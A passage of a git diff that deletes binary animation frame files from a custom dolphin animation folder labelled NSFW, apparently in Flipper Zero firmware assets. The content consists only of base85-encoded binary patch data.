zdaLy+RZ9iXw?QIMngB>?7mluf2rd~={6(Sx83Y1_3Zz7(5Q$C#K?x=l5(Of_Y%0H9 zU$0faw|?Z32#CC}7Z3k`{s14i6hoq37=|Muq1AubL;wDOgxFCGAW(ci|F{2oAus$& zfFL1&(AooU|NDRa-|PVZPze+Rh5NS##{cgDi7;XmlX%2%+V9`&8bt9n2()1Z@xp$= zV|(x3$>eP)6iLQAe(!($6C1zYNf4xAFc=9WBiwH=0T&2-AOVJMjiZ0RqsIO_7!W{0 zBM|p{{{H`c{2nwcMFIr~f?*;T&;I>7S9^G@qyiC;3#e|Ko&zypdS*d`OaL_-k3NFa?7f@C)X!S9dDKY$*KJfJZT zhW(yEA>YXZV<89#$abF4@Q=sc-wlfZWH5;aQ{b&Y__Bq*P#8eGLF@k?j6h^6A&dju z7%uVw4oDv0k-`Ut34o4$0qsf+jv^r-gbU!lFXMp4f$yXqj0y<}phtco_ryEI;xP!X z;2zN_4IrL03KVo+^awz>L&HGDhu$cB8VE>s5pUvs=mPP5rSbmP~XwL(}G_b4&D|1C%#IFfRJoGvQT@%kAotDbt_Q+=slzo zoC$b$UwhCwzv$tTVlf3w${loDh)OWz8e@{RB%p`ZV diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_10.bm deleted file mode 100644 index 971056d7d2e5f8b3bf3ac3f23bf5292786721a46..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 963 zcmV;!13dfz0KWqOB!h+jfng+;oFpP6JqM)&$^Wa=a#>22iisb@LILOO|KsG8nQkH} zsk^{10D;LtIG_3cN=ZhN$h=e7BnUoO3`hR|LCIxl6r0UnK_DleBmMu1Qe<%%CsO+W zfWk0R2qbH(|Iq0*6s(T=r38orgrqeOU;Y=#kwhU{y|8RW<$;J+|N46-Qk9|AT9NA@ ztAAqpnv_D7snuaH5eSrq0bsU$Y4a=~{Axc@;Nc(;h$Rxa`_JnpQcV}DT) z(lR|tg{}xJ8UzAEz`S*1`6!ht#boM>#zP3ACe=`F&O+(f|L%G6V5p7lz&Y)50XaFW>$F1fU281tj73fBkxvL+Bq8 zSi&Gsi3A3v`|onmEGfBZS@mt#q0v%m2R*4FVt@ z7=#nwzv|^;UXpmgfx`rlP%u!-uitqQ(tSVP@Mwobq97sfUwt~bki1Fb0f68I!vKtZ zum7l?gq~DM1|WV|j7M`_>e0nMr}1Bu5nM1B#`AyumC&yQ@q$4hC-F)QL+L&H(z2hg z|9(Lsh+srRAcg`>CasmTT7|DZ&u z5J*J|0TK9D|9HHY^7r3~7zlt<4TpODqlAA^0}tVlNp6k}Pj3Ef_vn2qcAK zFfNQVK2=<(Jf%?xM3AI1h+4e0GC_GjC@2wOkJ4B91q_ysA1IVkL4hC+t{eCT48~L+ zDnS5c5()=)75oJbQj8BM6eYqij;Go#`WyVFDi11zf&&78)NORo_}}STHhIBhl!^!P z{ksJX{u37;o8cfa1y_|NFMaCu@i3jy7J>ie+yN(1Kt zfk84};b`^2BR|52&Y_UVcmsoPHxK^5sSl(U1-|!vzrL_Y=lGbgc}gl8kKXTpUj&x_ lrPTtK3JLYs|Nnpgs3c?lPY67s8Y}dM!ao22 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_11.bm deleted file mode 100644 index b4382c94ccc75d4f6f2528b723e82aa39b6a3887..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmW;Ke`s4(6bJD0Uhm3nY}xIjbDe*fm-q%vpxTNeh^#O1O_EI3n074EmBi6MMwvQ? z0|i;qEQ8njE6Y+T{lld5)uf%H%GNTbYe807)jvA7*0H%|8}pwaOBi&mNnegP{&zoo z&%NhdH~>IEP~#}Nv@e)jw*sVk>r@@jrjh}lEA^TH~H1c;*kLm@q^X|3<@`8tvch##!vosMB&ZjQK;P@hoW@<`seQtxu9 z&@oK}IM}n&vM>3`<#`4&Xuy81MtsC}2a$Nb*Xk+xWp*JINNwUefSom}aOH0MPJ2VO zXhtF9ZV=SZDpuc!@mB>EO{R@Zr2BvSQfW330S4?1gwaa&d9PMIo(E8=4zQyb=$0Hj zSG?hgMpa~&7So1yH_zX96AE(2qqqAkr>g51hj3z?fc#UrOR-cGz0K7KDy&0h6zoUw6`N5lA_&Qm7SO^SYiUD5 zvq+*0T3w(XL95qO#EMMD42i+Ok$3kiTaf?XMp-K))f<>j`XhN%As3?}gu@jpovf^z z5;V~f6+9(;f0FWgkhC+D>FPb~cK^YxK?_(w3_rv_b8&8_y)pVGfq{FNl}>TTKmrn# zJ4@K3{mM=038P*H`2n8)D#2}cNgxXJVhJ6}BsVbcsGEYbgvq@+cW+F9I&i&OLS?kp z4>F2FP}wsj^z0qxPR3bOYL34AI5PUJQOm=-eFA7rrHK9WYutt#qChg^8w;uIA~!n} zn39M5+e=-p>=L(VgDXTnylrD)dQYvt=g_eUfLot#EL^?*f1V6`*wE~=o9PEj-|#$f z^QD7g?vb?7bz`xX6W!mYF0Ztkq5I3Hxihz3>?Cu?`^-?GQ0r&8+R`#nzWt<{{_y@3 zw>lnd@XySj!xug-oZyynQn0XA`4K~xHdeUx--Av4p_%t^=C!rjd-iF|!*vsHqqVh($ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_12.bm deleted file mode 100644 index 19f12c23ab3a939220c456b2df2ebdfb47116883..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1010 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 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_2.bm deleted file mode 100644 index 463582fc19e8d7e14bfb8e1963cd1ef51d9f8d3b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 823 zcmV-71IYXV05bysBtzr>fk-4&oRkCq9|xp^?fi_UHOq8OdRn^HM6d{PfGaFz0uM;ZLz`GWsdc`{b>OD${Db&?Epwg0L z3L~xl3VSL1KOw4FW-|`sd`BsFWwET8IP&5r~9X zH=d~dCR3%6Y|9k)c_kUjiKokN+0O5Z9!odg+-|9>lg(TiF95%cExBZ8Q`&Tvyv|$DD z!hZLqu_u@I0BtA~Nya;WdAz^B{Zx`6NWx$+5=ck57C!6$e}DQe5cog?4Bdak1^@Qz zhhqW=2t;BY?(h2l`~QH3g@~X)p%6?YLih_U{ojA>6_kKNG8~7q@B2RpOn>lz=!}Mg z0E%uepy42n-|9OY5y(_y5c~&A{oMhIIIsZXh}H>%?FNl^dl0}#AdL}%WIrGF;N8Ll z@4yd5o=_NvL)>o=fY<-BK-kDa0x}<=c)$c3768a$5)7xn8iFBZ3w)q3h=4sn0zVjl z$W%iZ2e>d@p~%!Uu*4fQ|>=lp7pGLO}=@!F*rG0gD6QNIe)75)(j<{6p`E zcZtMe5mk7A79}C16UKo;j)UHT2p0%=Xc(}2#Seo)2@b+64}1jxUN|TRQWg9Mw2Dar zc#Z>63;cuGmNE(if+4np2i#mRn2Zw%+NOiu-Y^3A(01^z@jdcXOay~r?Sg~e6nq&J z6RBFygWf?Yz?X-0_q79?{*D7sX$;|4{g8JADTpiTf6^vf$u1ZKyf#( ze_THpDg>k9@4sKc&L0?73thVH`~5-qkW@eZ|Ni_x6pR<@+k5@}{-F1fYCGUkAISL7 BdUpT- diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_3.bm deleted file mode 100644 index 93ba26d460a22867dfe37c112132d20992effaa7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 839 zcmV-N1GxMF07C-+Btzr>fng++oRkCq9|xp^?ffpSf2Z(B1O^EZz;QqK{7jOSs;F%}MFrx2zwruAMu~;) zR^Sp62|_VFU;dU!Rg}bSTUjI`gfSQfV{8A3n}(I5tW8bp6zl(}=HaPAYE@8aNiqcy z*8g(o@yf`x8mc6UA`&T%+x0J`>ZKT(m2?&-;egO28qcjiB@)uetrEC^Kw%h&MT2?j zujzD=OfO4q1c^du0U@MbIC-G;@0G8jaIDexzd08V1c7WqJ75deCC1b#6A zkf??*4{%_+$OJhrpgn;jgbxf80UQs#C^k5Vgn|$+g809V0~QCqka{pEBqo6!_=n#R z?-Pi`BCPWO97;n-CyfGy9S6Mv5H1k#&@o{5iXR4o5*>tC9{36Xyl_wsq$~IjX%vzK z@f-%C7x@RXEMyc31Ve2G54gBtF&HKjwM_@RykG_KpzYyb;Bw#a87d|ML9q70LGKDa z42lWVt!KgQzmQ6BCE?wD?L+3DqlQU{(p|T;(0ga~6(|e~q3yT&!R;>(jUqv<-T%A5 z_RGp5P#jI`-`5Ykp9Mgad_DK;_&LAyxkM`kuHAP1{-Aqg@KOqg|K4^G`^xDUFV(j9 R`}_St?Zc63JL+Q(y;MOFgFOHM diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_4.bm deleted file mode 100644 index 0d4f6069b15fcf81b857be61ca7e095dfcd5c029..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 875 zcmV-x1C;y$0A~XLBtzr>fnhNcN=yU)KL@0P?fexd1O^EZz;QqK`b?Hf3DEl_r3K=Dzw!!ACZz=4 zWS|lf2|_VFU;bAql+sjvGASe?gfSQfV{8AB$YeEG5KK+$6zl(@^sP`dbrcY3Niqcy z*8gbv9HfeaQi{2#CC}7Z3OWEA)WqmxdvT$Y^yy^ta(ng%H982gConf9=5Xltick0vHVq zpgVv6ZryL9zz_uhkw7?Kzi_O0rCH^NALQf z;0L15C=5fPc2JMMefO2g17c$#ko^&)e;?5>WK02&!Xz0_gSgN`D`g9OpfHGlJsLwx zAB;d`Dj|#q+9nJac>sqbKQIAl!6SqZ3=;ty7q9*YN)3)8As~bc)BrlN_`i+=76-IX zNIe)75)(j<{6XtW7K^-2BM^$K$N+gbl!lN`8U+eE4{03&5H1k#&@o{4%Eb?ZK?x4R zEDvoS0)Q_TAoU?%zteha9nKww=DZNJtJT|H1fG>HbccmD4K)-NTLM4&jE*T1eGZ66~AK$Ltv_v`pM zfALtHq7{PIZo7W}Qn{>{DFs9S?=y&fs#uyv3-xWi{{H_^ddViTEk}JWVCBEnasaxu Bi6;O6 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_5.bm deleted file mode 100644 index b73adc76b116eb22c3282de95d848f3b0e572447..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 892 zcmV-?1B3hl0C)ocBtzr>fng++oRkCq69=S&?fpuA7_|0yKM=`j_m zlmbFQC`Ko%|1OOxQz6PiB#?>_#9$eXsiZ;$g{%j}-jPnf`i^cKq@pc}29%Q^Q5|ph zFC^5+uyn~45=9XS6vu7)m(palStcte3ls3bXc7%))}NB3WU(@-3_u_-j6@>Ay!B_~ znOP(jm6U=+ltL03MdPbKq|~)KOkD_CAQ6y2C{U_J3nY0Ml%^<5C?pC+fY?=cy02dP z)kV}!w|$|G&-;E|NZ;FokOTohBv1|)@AtnD4}O)BCJaK7Zy1gnTr3~&-~WuH8w6S~g81P- zeed^tq%x*pn@R-|agN{bcMy-Zol25KDHu!!0!aw>2M6zezsqDL!XF3#VVA4_e*f>^ z=JJEFfdm91F%NgVnm@e!x6N<&B|jRJ)o2e1CA zK!gi~JTwegJ*ZJb;Lt)tu!{rQQ-Gig#{~fDLcf6ZqR6C>Cy3xR5WmPhbu6)vP$Urz zv=~0vF>u0SFia+fn0E&hm(873o1cHY-P>%W<5Do_{~L)&llgVvvv4~-&0t=<2-!1c?@r4c9& zCiU;@huTL(!B8b14}JRn4qyEyt0;wFwcD=Wztj(0ma7FIsDJ(CaSydpOGv?ft+&75 S-|Bu^t!722?}7|I)T&T9PK`1E diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_6.bm deleted file mode 100644 index 0c815d8d7a8c982a0e82cc66ff277bbd75204618..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 950 zcmV;n14;Y=0I~xBBtzr>fk7!bDI^0QhzF#D?fakp@RYnN_fWaad4k!NpJ{*-&!AQjv7m5D=$SE>RjO$BK zfJjIs2*mY&@m!TFRY;UVq>zdb#9$eXul|QA$ke5@T?xHnoqzUTiK>!O`>x_Bl&F;e zKtlncvHexoLc~xYP>3cHA$%7PZ|T1^h^(Xn5s>6Po&SCNzdzEF z1Ue%jpui%Vg>c{hQrMP6b~q!DsKz1q`~R>1dj6(}jw}E;qBV{G{_pzF&>~R`1cC_B z7$!sU?cd*T^Z8XL06i9YKw=#N`2YXex+IcF8yN^dMniP{{rmm;{!1hq768a$5)7xn zK41L&l8DL{`9NV20D4>bF(LTG21243z&$DQEnq!q?8gkK=8pZ5y1Lc z=(vhdY;h3@1R!3uIHr`oFXMp4f$62CP_%>5fk7cO2=Bxma-C+NS}yT8j6y5;2cAnE zl8H!Z1o5CyqoDMXRdF;3K)6H0K*fX8DUQ)a4}(Do4#F%CJN%bj$-qzraSF&HKjwM`eNS0{;gi~zng z9lR_2A3hBiM}WyuFcJ-iwh9kA|Ep8Wg&zh*1nO3^;Pc<|I5{~4rvhFb*WT2QI{(Yn zqel#r5v03sYoPS{`Z0Qnlm-RR_S^kn^N-v-T`>64BpTh{`@9c5{rl^qltiF7o7cat zA4z=Y@r%JwB_9uc`u+|v`0l=4IYcW3uHAP1{-Am1=bzB{$SNQIc;rLtUHx?F7%$bf Y_xt<(OX*(x;^bP6`y|8Zug`xqVELBA%>V!Z diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_7.bm deleted file mode 100644 index 6683805c8a37a636544c5f0d8f96de3445ef0687..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 917 zcmV;G18V#M0FeU#Btzr>fkG)cDJKGnLA2jNN|w~6$8cp$HXZ# zij-o7f}lbq7zhMQ&Hta$vRbTGt0`21Kp-$kh69QJzu;t)TBR~YA}B8t{r{>|vRWxN zR}lb^kV+AW>i^_8nx3Ppg}RcpTc zUbiKLs!1df5qV%PAOFAq|G$#dctO!G3_}r+(CWXt@OaW>o|9ojFo8kvhezB0=i;JV zD3t&}Ljj@nd%*#>O6Y;{KokI~JTKV%w)B}#NSHASNxWh>ZFl$m|MlX-;%pIU!VBYs z{qODl{j91Z;(!}U1rl+N-}-SM)gMXpU=1S)fWS#19`Aqt|EWJFL$QGb1R^mHcKIAW>2(+BLc~xYP>3cHA^iP=$9GSZd_`p-5R8W*toPmR|9O2B zULnyL4F&-e{C~gO|Ls2|_#KW2=Vbo?$4vg06i9YKw=*b_w3>|_!j0!8yN^dMnkm!|F8f2{-fv{768a$5)7xo z+#mtpkHwTN@_@nx;tx$H=zcK)kf??*4@>+f_zV|$0EZ>?52Z`;2^=7JV3-Kty>OqZ zP;7A#2?QWsyZKM_zAxi|#ewTY|7i!K0)j$l5#NYCGGF0nyTsx#2(RECl#l#MLr5o$ z0)-t1rGCr*ph5-09vTKL96 z3;cuAi~nVef`K52ZJ@#T7YrsN1j2Typ!MpT#W*GLpzYyb;CgfkneabqDlm-RR_S^kn z^soJcW@ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_8.bm deleted file mode 100644 index eeec41cc6b460de9c0e36ed8c20c39bc5ee111b4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 975 zcmV;=12Fsn0LudaBtzr>fkG)cEhLBlAoP%Zzx91Al1u5z00t2u!bB)k4;TL*5Tw#0 zQW*}0fe4UbAQ3M&{(nlzYO7SLSE>mBfWaad4k!Nqfs#>inJ9+DpuA7_{;5(B43d?6 zfJjIs2*mY&@*GW4tCEseWRQvw#9$eXum2Y$q{*o?EwQ~~oqzP4{yAubr>+etCP1P( z-|k;YB#F^zTUsQFA`&T%+x1V0RdmvcO{^9t;egO28qci0lZl1oc%9gQKw%h&MT2?j zuhgnlT2`a21c^du0U@MbI=TELlLrvu?M0#i83Y1_3Zz7$IGI+KkggB_!5~sB2Ewat z_S&j&i!bg;Ac%|00dW6-3l~!4f5W0)7=|Muq1Asu<08UzyXL}(VFH8U|Lyks`dp{e z|A|lp1TY#OSN;9=#OgdDc%TXaB7kteWAde9y&tk*#3?56h~c%~+y4J25c2QMf-M+9 zd~lz;|K9&6()tDBZ738;#yfKO>gceKkKRcTq+u`^2_z%k@9zJy)h}20xI^Ip3^R3o z|LfxTPlx<=Fd%@0Mj`I+|L=6!PnZ8f#84nmh$a#teEs|S^7=2KJ|F>*2u4GY_6LW1 zPn3Osuz=`{hJyf#Zau&2zJ7)B|BlB5aupcFKMCRX%kq|w`Z%xv;)vEieg58VMdkOz zFcJtOL|~Z@$AA6)ujLctfF6rHpfL`I`|own$cN)34UB{!BO&@Y2mL>ya(`j5U<`&4 zAj&33|NF1XL*mL7`9NV20C|6N^iLrCq5~mO3}7B#`TZx-KPPzrhb8m}mVY205J=$z z!vw%b1Lt3r2gZ~e97IAv2p6V4Ny-n5iTrRFusr4Uo{#@XJs1=c6F`pqLFG@2YJ=m5 zcZtMe5mtGB^7YLr{A4tOc+e+AsYA5H1k#&@o{1#p|(O_@VG{H`F7mf-6)P;Wo=NBK0ib(=^jssB({DaF&r{w?HV<4bNA{%HheEK-PkvwS-n2Zw% z+NOigl~Xs8a7*Js+rq!V;lKDeyn=Y-sF(=`!`lT1mjBhM7mO(QGAJifwVwx+fAd21 zf8-LJ33zv3dr diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_9.bm deleted file mode 100644 index c0e42ae3a059b413362b3b7575217aba553b530a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 949 zcmV;m14{e>0I>rABtzr>flw%!DmEe^c?YC}?fL0 zoGl|GexO1m7zhMQ&HtaosWn=ZibXeqKp-$kh69QJ|Is2_m_{clT_`UT{eQ^mBHAe? zhSva)kVr5+U;LJnRHV{9Td5=>gfSQfV{8ARekkodxNfbmRQysVJpOU3zGMdV;EKkD$phz{JT>O(4LWEp>u>gR=F%XLe z^VJ`u%H{}up0`l zxA!HW(mQt9B!VI@ECs=UJ@W9xfTA4|@We404GydO{-s2ypWt|#1|ftB4}?5F`6iPj z9~hMYKtlnc^?uiUtqMuM{lE|f0FgjAU%&nSiIk*!_vFEdQcdF#!)vd%`D}*@FB4#k zMi5^dC-1*o#bqi5@-~zTB;y^w_x~=DV!!{nBtnsdz+fbhk8tQ|Sel35{9GaMfCd@5 z{`X<^Ao%~sV*&^WL}DK6{(iNA(tr2#EJXqZ2!dfE8_#ZkKUCop$N(|{2*`3C&;Gu> zB-H!=(17TShJyf#UO#@g?kAD^_m0N|aupcFJ01OY`bnY}ia4+U;)wn~-ueDVs1F#1 z0zm|5j1wW){nh94E)W0vfF6rHpfL-Ff8VysbvLg;4UB{!BO&^K`qTLdynErXU<`&4 zAj*6{*8BY{(mxhZx5@(uh0mOP0 z<&we&h6#X<2gG1CFDMXcL9xU{BoKjl2gZmWITQHcF<^P>eLz9d4@Lz9gwP|u5P49D zge@0%oJJuP`~%9UKPZ%jkWU%~3OWxj{EOrR8U!F*A>p86!RJW)fW|0%8VE>s5ny@L zgXMsr3&#Zj>O#MO@}h^zMI?bdM**mXf{Xu20uwA`6bS@FZ3YjXLTF8xL$09(5u4LXU$Yf^{od@OfYKg7T0`a3$g0eeFTw zzsf>{ju|E+Np{}XLFFH*e?Wt%sX$;|4{g8J4=sLBK9q?Dw|D;U1IkY+0u-Vp0mRQD zr8*$!$zYg(d49$M7Z`;Csa4ffC>$_(c=T|nAV6}m6L`?9Tmb0*{WGkO(qBT52ga2s zym&wVo6bkw>kk@}fy2|L_0zX?2&tKi>cRs*|aOd?Vq3 zy#D)BWGL-@RC<+Gq4C#)#`k;M*H)ve>PPgMC|BSfU-6K`;6DrhUw5g>K|fgVd4Kp~uK_mQ!-{aDRV1vXUHA+ki`2zrp=zs#2AN^kilFEOeKgb9@|MH0?26$)? ze9);dsmY*q0QA5E%T+>>M<5r7Ab|nrX|DF;a0`VSO1^5<{WXq&9ykE{>h8H*yd*v(_?6uw{S$m;{%9u%_)bf6nU6U=@#D{`sV#PwcS!#aI8eW|ph#AKUPAw!U0j zeX9Td;q5Wi{=D{z&bOfos$cxBVYb<_V|K$dgN+1>hytqIqB&3@|+R zdZVDgVFzK6duh$Jxy1S0|AzsG~-4iMC^Oxa3WBdHyONI|VgihVPh;Oz>*#xN?udEdT%j diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_1.bm deleted file mode 100644 index 32d65ac9cc9159307dd8c8253af7a41da4b1cfe0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 914 zcmV;D18w{P0FDEwYN=T$Bm;rp1dI$Gl&VZdOHl`p{2Dn3P&lfYDx|AXLV$Qb@%RK1 zfk}yEa1uVF`?;rK*ZbpimEhJYevMfIMUr3`Ubhq@Z9w0P&y5D6kp? z3R9w$LSivl2k;(0ya0Tn6bhwRRYZWozrgYI$l*hAfMs+#NhU*q0ssGRyjs?W`7e=3 zGJ^4t`Y<2=&F81=^@#=pNzqiQTubMu9y_f?>HsAg{zFlef_g8-;lE97byxuuq?BDQ ztHr+r59jsTmq0(1yH-9?Re^jr;c>m)_OX};<89TO*>y5cr2HN~|JD8<0oYsmwY-!o z6Zq$Y%m4g?u}c3p(o~>d$an;A@yS9kTBUEPWpbU!Kk@n?1K5-5BEVX6nZXnz0r zbOT{h55!7SluQjmDi41Ct5vl|4nimoefT3%Jq9##ym|MLQZ>-iep#;fJ-UX^3Zf4*cjTKiN_xvKwHT4Mm~ zdZYV(4>r?9h3~q*|5^Za6<@EOsWr;%qEj3H)yz8B7iz8jjmT*-np6V||MdU&_iygk zYTO)#x+!AFxkvB+_txch@u=J&vP}d6$*O9Ie0|++*Xln&K@Fw>Ne_qsZ}q!wul)z0 zL^zyC1j7suFaFn6TK~XdlBf>C0h+;s&tF&i-{2T31TEY#3`d+Gd+)G3L!&_0z$63l z{)7+zA5jiNfhnLu3FUwO1Iiu_87CX32$JAFclr0g9#B_^#4eDi1QP+{2bj!YM4^O_ zMnM9=cyICG`Gd#7hkzi&N+9u$e}UxzCyj6fFbK~h!GF&KN8kSi3@o>bMU<`RDLZDF^oTe=ZmRpdASvzdH!6b!`8j oX_Lke{Df0~({KJq{A@q}@BhF0$l~{(FRtCN7brk}^3QD>-0jM;VgLXD diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_10.bm deleted file mode 100644 index b4f6e09c7248f994ef82c18a89d18e65c1ff7a84..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 945 zcmV;i15W$_0IdV4YN=Hy6a#@@fWRPN^rcc_GFWIlf8f!iLST^y1xqDVrBWo24+s7~ z0D@>F7#$`8NtMZDq`>n3z$6e+aaAf+C`_s)0QdvO4+s{FLX`lbRdiHH90VRy`h^Mt zSRGAERTRj|;2(f^`rr{r1_B{Kq*7@zOjtbaIyew`aFI-ut0j=5;6ER`Z%#F-{z~FH z4JArTrHjNrpPSDoS;Z0z2P>kgLO2?FSO5FE*;=3gQLo4)8C_S>AB6wjcDAVO1HFI$ z(KNcK7mGjE|K9I<*;E7htLaP2vxqhk6P86s??xAjQ`*N`}^IZ>QUS4 zW%?{stMjk*mPh;iaF2ug_q|mrunp!1?+?Gns*J&Em0v|9)z2^=`5S0}1HcE3eu+tf zN5SIiFnV9&Styh+9xxDs1Iz!&(P$wU58XgMfpGu~mJ1byU@v$;d}_B^s4fEGsRzCP z_uv1)@DmkSgW7+;_5Yw)4TMM@`~3#f6$Zdmq@(zi$#$?D1VSngeSH#@RUeH29#9~9 zRrNbBvAwu`6%5qky)*_@oRe4ErQVgw21E@EsJh@OvS6?mE zsY5~N{~P_+LC~s8a6L${Jv|BG+`pW~# zvDLrdB@tTQ))n0Cf32`Ec=dfz{k;cYE27nR+Q0YiuK>_xzg~K#w@J{1N-zIcFzaev z+gJ8CrKw74&>XM->;CKArS`h7|5Xr|Vzd<*}f2rc{XtJa6~^=scnDOoUU69~ef5 z=l`Gl0p$f14MO1tz)&zBJN*0bGavj0AxH@gLO}??cz^NW`M{ta3@ic;Bpv`fYoEY* zLSPUX@HAu*oJXSno(7M+UN9I1G9VBbF9U)94-oud7)U0^0|23BxWMrM7kC~t3I!Gg z2+GZ`g7F9#ykQx9BqD)*{NDaR(v^7cd!5b z4JNCR_+CH1{oU(ZDngEy#Sf`!pr0%1IB&PT-BoHmzV`n~5|sWgV}bqstSgHm4iUC0r;=#^;)P7Dxn1i3Iv1aLegrW&^i=U79sVk z=Brm&UM8Um7rw7crPjcpc_@%Q<#nu8OI1nK!IS8(DohF^mDON%1@(89s;NY`>gu&3 zc!Spe^?+1$S!^b%77jQkpxiX7tOG0Us99y9^!k6}c9{es3AEE{qhRB}{y+7+Boc!l 